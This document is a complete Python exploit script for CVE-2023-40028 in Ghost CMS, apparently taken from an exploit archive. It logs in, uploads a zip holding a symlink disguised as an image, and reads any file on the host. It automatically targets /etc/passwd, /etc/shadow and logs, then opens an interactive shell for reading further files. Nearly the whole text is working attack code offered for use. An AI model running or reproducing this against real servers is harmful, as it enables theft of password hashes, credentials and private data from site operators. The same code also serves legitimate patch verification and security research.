Ghost CMS 5.59.1 - Arbitrary File Read

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: Ghost CMS 5.59.1 - Arbitrary File Read
# Date: 2023-09-20
# Exploit Author: ibrahimsql (https://github.com/ibrahmsql)
# Vendor Homepage: https://ghost.org
# Software Link: https://github.com/TryGhost/Ghost
# Version: < 5.59.1
# Tested on: Ubuntu 20.04 LTS, Windows 10, macOS Big Sur
# CVE: CVE-2023-40028
# Category: Web Application Security
# CVSS Score: 6.5 (Medium)
# Description:
# Ghost CMS versions prior to 5.59.1 contain a vulnerability that allows authenticated users
# to upload files that are symlinks. This can be exploited to perform arbitrary file reads
# of any file on the host operating system. The vulnerability exists in the file upload
# mechanism which improperly validates symlink files, allowing attackers to access files
# outside the intended directory structure through symlink traversal.


# Requirements: requests>=2.28.1, zipfile, tempfile

# Usage Examples:
# python3 CVE-2023-40028.py http://localhost:2368 [email protected] password123
# python3 CVE-2023-40028.py https://ghost.example.com [email protected] mypassword

# Interactive Usage:
# After running the script, you can use the interactive shell to read files:
# file> /etc/passwd
# file> /etc/shadow
# file> /var/log/ghost/ghost.log
# file> exit
"""

import requests
import sys
import os
import tempfile
import zipfile
import random
import string
from typing import Optional

class ExploitResult:
    def __init__(self):
        self.success = False
        self.file_content = ""
        self.status_code = 0
        self.description = "Ghost CMS < 5.59.1 allows authenticated users to upload symlink files for arbitrary file read"
        self.severity = "Medium"

class GhostArbitraryFileRead:
    def __init__(self, ghost_url: str, username: str, password: str, verbose: bool = True):
        self.ghost_url = ghost_url.rstrip('/')
        self.username = username
        self.password = password
        self.verbose = verbose
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            'Accept': 'application/json, text/plain, */*',
            'Accept-Language': 'en-US,en;q=0.9'
        })
        self.api_url = f"{self.ghost_url}/ghost/api/v3/admin"
        
    def authenticate(self) -> bool:
        """Authenticate with Ghost CMS admin panel"""
        login_data = {
            'username': self.username,
            'password': self.password
        }
        
        headers = {
            'Origin': self.ghost_url,
            'Accept-Version': 'v3.0',
            'Content-Type': 'application/json'
        }
        
        try:
            response = self.session.post(
                f"{self.api_url}/session/",
                json=login_data,
                headers=headers,
                timeout=10
            )
            
            if response.status_code == 201:
                if self.verbose:
                    print("[+] Successfully authenticated with Ghost CMS")
                return True
            else:
                if self.verbose:
                    print(f"[-] Authentication failed: {response.status_code}")
                return False
                
        except requests.RequestException as e:
            if self.verbose:
                print(f"[-] Authentication error: {e}")
            return False
    
    def generate_random_name(self, length: int = 13) -> str:
        """Generate random string for image name"""
        return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
    
    def create_exploit_zip(self, target_file: str) -> Optional[str]:
        """Create exploit zip file with symlink"""
        try:
            # Create temporary directory
            temp_dir = tempfile.mkdtemp()
            exploit_dir = os.path.join(temp_dir, 'exploit')
            images_dir = os.path.join(exploit_dir, 'content', 'images', '2024')
            os.makedirs(images_dir, exist_ok=True)
            
            # Generate random image name
            image_name = f"{self.generate_random_name()}.png"
            symlink_path = os.path.join(images_dir, image_name)
            
            # Create symlink to target file
            os.symlink(target_file, symlink_path)
            
            # Create zip file
            zip_path = os.path.join(temp_dir, 'exploit.zip')
            with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
                for root, dirs, files in os.walk(exploit_dir):
                    for file in files:
                        file_path = os.path.join(root, file)
                        arcname = os.path.relpath(file_path, temp_dir)
                        zipf.write(file_path, arcname)
            
            return zip_path, image_name
            
        except Exception as e:
            if self.verbose:
                print(f"[-] Error creating exploit zip: {e}")
            return None, None
    
    def upload_exploit(self, zip_path: str) -> bool:
        """Upload exploit zip file to Ghost CMS"""
        try:
            headers = {
                'X-Ghost-Version': '5.58',
                'X-Requested-With': 'XMLHttpRequest',
                'Origin': self.ghost_url,
                'Referer': f"{self.ghost_url}/ghost/"
            }
            
            with open(zip_path, 'rb') as f:
                files = {
                    'importfile': ('exploit.zip', f, 'application/zip')
                }
                
                response = self.session.post(
                    f"{self.api_url}/db",
                    files=files,
                    headers=headers,
                    timeout=30
                )
                
                if response.status_code in [200, 201]:
                    if self.verbose:
                        print("[+] Exploit zip uploaded successfully")
                    return True
                else:
                    if self.verbose:
                        print(f"[-] Upload failed: {response.status_code}")
                    return False
                    
        except requests.RequestException as e:
            if self.verbose:
                print(f"[-] Upload error: {e}")
            return False
    
    def read_file(self, target_file: str) -> ExploitResult:
        """Read arbitrary file using symlink upload"""
        result = ExploitResult()
        
        if not self.authenticate():
            return result
        
        if self.verbose:
            print(f"[*] Attempting to read file: {target_file}")
        
        # Create exploit zip
        zip_path, image_name = self.create_exploit_zip(target_file)
        if not zip_path:
            return result
        
        try:
            # Upload exploit
            if self.upload_exploit(zip_path):
                # Try to access the symlinked file
                file_url = f"{self.ghost_url}/content/images/2024/{image_name}"
                
                response = self.session.get(file_url, timeout=10)
                
                if response.status_code == 200 and len(response.text) > 0:
                    result.success = True
                    result.file_content = response.text
                    result.status_code = response.status_code
                    
                    if self.verbose:
                        print(f"[+] Successfully read file: {target_file}")
                        print(f"[+] File content length: {len(response.text)} bytes")
                else:
                    if self.verbose:
                        print(f"[-] Failed to read file: {response.status_code}")
            
        except Exception as e:
            if self.verbose:
                print(f"[-] Error during exploit: {e}")
        
        finally:
            # Cleanup
            try:
                if zip_path and os.path.exists(zip_path):
                    os.remove(zip_path)
                temp_dir = os.path.dirname(zip_path) if zip_path else None
                if temp_dir and os.path.exists(temp_dir):
                    import shutil
                    shutil.rmtree(temp_dir)
            except:
                pass
        
        return result
    
    def interactive_shell(self):
        """Interactive shell for file reading"""
        print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Shell ===")
        print("Enter file paths to read (type 'exit' to quit)")
        
        while True:
            try:
                file_path = input("file> ").strip()
                
                if file_path.lower() == 'exit':
                    print("Bye Bye!")
                    break
                
                if not file_path:
                    print("Please enter a file path")
                    continue
                
                if ' ' in file_path:
                    print("Please enter full file path without spaces")
                    continue
                
                result = self.read_file(file_path)
                
                if result.success:
                    print(f"\n--- Content of {file_path} ---")
                    print(result.file_content)
                    print("--- End of file ---\n")
                else:
                    print(f"Failed to read file: {file_path}")
                    
            except KeyboardInterrupt:
                print("\nExiting...")
                break
            except Exception as e:
                print(f"Error: {e}")

def main():
    if len(sys.argv) != 4:
        print("Usage: python3 CVE-2023-40028.py <ghost_url> <username> <password>")
        print("Example: python3 CVE-2023-40028.py http://localhost:2368 [email protected] password123")
        return
    
    ghost_url = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    
    exploit = GhostArbitraryFileRead(ghost_url, username, password, verbose=True)
    
    # Test with common sensitive files
    test_files = [
        "/etc/passwd",
        "/etc/shadow",
        "/etc/hosts",
        "/proc/version",
        "/var/log/ghost/ghost.log"
    ]
    
    print("\n=== CVE-2023-40028 Ghost CMS Arbitrary File Read Exploit ===")
    print(f"Target: {ghost_url}")
    print(f"Username: {username}")
    
    # Test authentication first
    if not exploit.authenticate():
        print("[-] Authentication failed. Please check credentials.")
        return
    
    print("\n[*] Testing common sensitive files...")
    for test_file in test_files:
        result = exploit.read_file(test_file)
        if result.success:
            print(f"[+] Successfully read: {test_file}")
            print(f"    Content preview: {result.file_content[:100]}...")
        else:
            print(f"[-] Failed to read: {test_file}")
    
    # Start interactive shell
    exploit.interactive_shell()

if __name__ == "__main__":
    main()